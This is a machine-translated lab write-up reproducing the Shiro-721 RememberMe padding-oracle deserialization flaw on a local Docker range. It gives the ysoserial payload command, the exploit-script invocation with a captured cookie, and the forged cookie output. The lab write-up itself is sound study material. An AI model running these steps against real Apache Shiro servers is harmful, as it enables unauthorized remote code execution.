Wiederkehr der historischen Sicherheitslücke in Shiro – Shiro-721

Verletzlichkeitsprinzip

Sicherheitslücke bei der Deserialisierung von Remotecode bei Shiro RememberMe

Aufgrund des Problems des im AES-128-CBC-Modus verschlüsselten RememberMe-Felds im Apache Shiro-Cookie kann der Benutzer mithilfe des durch die Padding-Oracle-Verschlüsselung generierten Angriffscodes ein böswilliges RememberMe-Feld erstellen und die Website erneut auffordern, eine Deserialisierung durchzuführen Angriff, der schließlich zur Codeausführung führt

Das RememberMe-Cookie ist im AES-128-CBC-Modus verschlüsselt und anfällig für Padding-Oracle-Angriffe. Ein Deserialisierungsangriff kann durchgeführt werden, indem ein gültiges RememberMe-Cookie als Präfix für einen Padding-Oracle-Angriff kombiniert und dann das RememberMe erstellt wird.

Tipp: Nach Version 1.2.4 hat Shiro AES-CBC durch AES-GCM ersetzt und es ist nicht mehr möglich, Schlüssel über Padding Oracle zu durchlaufen.

Betroffene Version

Apache Shiro <= 1.4.1 (erfordert ein legales Anmeldekonto, basierend auf dem Padding-Oracle-Angriff, um den Angriff durchzuführen)

Referenzlink: https://www.jianshu.com/p/833582b2f560

Merkmalsbeurteilung

Da zum Ausnutzen der Sicherheitslücke ein legales Anmeldekonto erforderlich ist, verwenden wir hier das Konto, um uns normal anzumelden, um ein gültiges RememberMe-Cookie zu erhalten und den Wert dieses RememberMe-Cookies aufzuzeichnen

Umgebungsaufbau

Grundlegende Docker-Operationen

docker pull vulfocus/shiro-721

docker run -d -p 8080:8080 vulfocus/shiro-721

Besuchen Sie die Adresse des Schießstandes und bauen Sie erfolgreich auf

http://192.168.88.130:8080/login.jsp

Wiederauftreten der Sicherheitslücke

Verwenden Sie den richtigen Benutzer und das richtige Passwort, überprüfen Sie „rememberMe“, verwenden Sie den Burp-Proxy und rufen Sie den zurückgegebenen „rememberMe“-Wert ab.

Bei erfolgreicher Authentifizierung wird das deleteMe-Cookie nicht gesetzt

Das deleteMe-Cookie wird gesetzt, wenn die Authentifizierung fehlschlägt

Cookie von deleteMe

bVZT3bzgT/0t714w/WmYr3EP081Z0qO7gaUMGC90GK/R019JeYL+64UgucSB8COn6jlzV10THzZP0okwQ/Fs75d2XAvhepUV8RxgSWhFEWQLNq4nXw1ESgbiAQb9KyMd/nwgT9goYuMO ERIbNA6Ay5AWRtuLvEaRmSTYPwxampXbnG2JlSXms45L6uqM2ek4X3y6ZSiZM80XbZUyXdOBP+EN8TuRhO+bS8N8jeWAj/uAtNZY8m94m11/SIPk1nBGfGzpcU3WIbT4R3feHaOKCHYLTuLxif1q6 rItx5eICS5q8B4qVrTESf2XCFgaGp2FxlZ18AjpTOF4gwQ7cLEM7L49BhvxpAlj4w0GMOuyk27OKdUIh3+RK5qT7Dgp3fGWbEZrqyu6MCAG0TmKY2vKE1peLRNEAuQJapRU/FCVcSfSolxIMHSHb/WzBpcLe hOC5Jslb5hekliouggjfNfTV6fSuvz1hLIfix2IiRwmiM/ns3xAVVsBwOc+1SxLqpt2

Verwenden Sie das Tool ysoserial, um Nutzdaten zu generieren

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/1" >
payload.class

#"touch /tmp/1" 在tmp目录写入1

Verwenden Sie den von burp gerade erhaltenen deleteMe-Cookie-Wert als Präfix, laden Sie die Nutzlast und führen Sie einen Padding-Oracle-Angriff durch

Skript-Link: https://github.com/wuppp/shiro_rce_exp

python shiro_exp.py http://192.168.88.130:8080 [ rememberMeCookie] payload.class

python2 shiro_exp.py http://192.168.88.130:8080 bVZT3bzgT/0t714w/WmYr3EP081Z0qO7gaUMGC90GK/R019JeYL+64UgucSB8COn6jlzV10THzZP0okwQ/Fs75d2XAvhepUV8RxgSWhFEWQLNq4nXw1ESgbiAQb9KyMd/nwgT9goYuMOERIbNA6Ay5AWRtuLvEaRmSTYPwxampXbnG2JlSXms45L6uqM2ek4X3y6ZSiZM80XbZUyXdOBP+EN8TuRhO+bS8N8jEWaj/uAtNZY8m94m11/SIPk1nBGfGzpcU3WIbT4R3feHaOkCHYLTuLxif1q6rItx5eICS5q8B4qVrTESf2XCFgaGp2FxlZ18AjpTOF4gwQ7cLEM7L49BhvxpAlj4w0GMOuyk27OKdUIh3+RK5qT7Dgp3fGWbEZrqyu6MCAG0TmKY2vKE1peLRNEAuQJapRU/FCVcSfSolxIMHSHb/WzBpcLehOC5Jslb5hekliouggjfNfTV6fSuvz1hLIfix2IiRwmiM/ns3xAVVsBwOc+1SxLqpt2 payload.class
Usage: shiro_exp.py <url> <somecookie value> <payload>

dazwischen dauert es sehr lange

Das Sprengen ist erfolgreich und der Wert der RememberMe-Cookies wird zurückgegeben

6ug1zz4BAzMfEGfqrLBO34ZfOOFO0Ucw/ocfmVCcPBdK2rQmjzPdMczCUTDsYz2M2Fbvq4zYKW4ffu8uBOqWdkyf1RmCM0LdoVLUMqTmqcdxPS0S9noRnrPEtb8UjxyWAXnZQGyEhIF3svbLk cEQIOKk+4ER3rE+6v4pq0JeEELL03FfrMfm8LudHC/FqxDuacnZv1pA2gRJguVe7Y/bSVxqqAli/TT4Cz9i6rbFl6MQSkisXfa9UZI/wcSgH3CswahR5vF4fgm5Apr7k8hA/DqI8EqqKJ Qgqp+RuzmYCcMsw5/I4DDr1O7M3Nx16k7AVobuvauJDNC9r2yngVWxzSlk8fBVr6G2Jc+kNRJE1k68EhlHjTAFcV9LDzVK7rVOJmOkK+iJOwxi1T2i8bCV1fPB0bHJ2JifbtKXt1P3aQH dbZ6FbpL+2AbLYekZvwYDeOWrkxoWESRgdV3RwhMmwazgiZ1Pi5jrqhTYYeAdsEwNsmDJvkbsXBgyMmDbwE3E/rFKHEFyQD0bT54CP6UvAwgKH4dlK9fZQwMAL1iOWOxp+G/3U67RBxjzNLZ2Uh G3yinc3ay4j1iQQfHh+9csRCNkLcwYwELkc8IW8OqOa1IQ0doQz0U+eEXz8vVWRKB09B263x9KUlxFkjctG/7WAAFTn2kv1kOe/lmWqZOOWbwbkhTGfi/X4rodZ0wbxBChonp7CWGeDDwDOhDWQe PZaxgZ0ySEFE56NE/YkHl4l0Y2BlbDcPj7URgl+eAtQae8GZE9q+/UUrdSreH2Ason4E1WDJFzZRTn5yp5fBhJ7MZvWCFRyDISdU5kq5NIboG2VCHoud3zF0Cv5kygVfRrP7qa/ 83JprxQABqnrMZsxVxrLshK9VfzP1QXQ+copmNdtwZF/4n5p1ry/AYTs1qYYebc0X9l0KA9e9iLej/PMCQdrG8cTiwoBeZ5oxGK4aIc2mEGmH6xU4Y6PCXWda18Ux6LDEF7Zo5baBq4Wedn3+fW0s ZAAUY1aPTMjQ+evgornrtU3mt2Zl3W9nor385RUHaOV6DSuw+rFW7zoeIyKVVjWXH7DDq14/EuFdao3lJd3pNkzRI1aeWEdNEyL+eysi8q2wR12pnMZthoiXIENBvDSYwdR/NXUob24TteBoMmC0DH3scFa IO+r2qoRMigg5ZJvuMLcKoDMKWrfTiv/jDIdo/lNwSgmhGSrHFKmpxC2D1P98iCzBU5VrH/AbipzhLKKFo6uczwxwRAauu/ityKgYYqsuHf7MqS+6yNDLoc5iPAD4gZ92+MEeIqq9/NdFy3DrcZ0bNK/FpUAT 5T1oAnP3PcaZOseD+9e8JZJavOm+xsqv/0zly92Q3Fk6A9UNtVMXljS2fUWU1If6LTcCFQ26IHIfKIjxqGaB+1geEMeGcvuLBZ4lAaE2/yhRa4kswAAAAAAAAAAAAAAAAAAAAA=NBvDSYwdR/NXUob24TteBoMmC0DH3scFaIO+r2qoRMigg5ZJvuMLcKoDMKWrfTiv/jDIdo/lNwSgmhGSrHFKmpxC2D1P98iCzBU5VrH/AbipzhLKKFo6uczwxwRAauu/ityKgYYqsuHf7MqS+6yNDLoc5iPAD4g Z92+MEeIqq9/NdFy3DrcZ0bNK/FpUAT5T1oAnP3PcaZOseD+9e8JZJavOm+xsqv/0zly92Q3Fk6A9UNtVMXljS2fUWU1If6LTcCFQ26IHIfKIjxqGaB+1geEMeGcvuLBZ4lAaE2/yhRa4kswAA AAAAAAAAAAAAAAAAAAA=NBvDSYwdR/NXUob24TteBoMmC0DH3scFaIO+r2qoRMigg5ZJvuMLcKoDMKWrfTiv/jDIdo/lNwSgmhGSrHFKmpxC2D1P98iCzBU5VrH/AbipzhLKKFo6uczwxwRAauu/ityKgYYqsuHf7MqS+6yNDLoc5iPAD4g Z92+MEeIqq9/NdFy3DrcZ0bNK/FpUAT5T1oAnP3PcaZOseD+9e8JZJavOm+xsqv/0zly92Q3Fk6A9UNtVMXljS2fUWU1If6LTcCFQ26IHIfKIjxqGaB+1geEMeGcvuLBZ4lAaE2/yhRa4kswAA AAAAAAAAAAAAAAAAAAA=

Greifen Sie auf die Adresse des Schießstands zu und verwenden Sie Burp, um Pakete zu erfassen. Fügen Sie den oben aufgeführten RememberMe-Wert hinzu

Gehen Sie zum Schießstandserver und prüfen Sie, ob im Verzeichnis /tmp die Datei 1 erstellt wurde

docker exec -it 035 /bin/bash

Der Exploit war erfolgreich!

Supongo que te gusta

Origin blog.csdn.net/weixin_44971640/article/details/128550973
Recomendado
Clasificación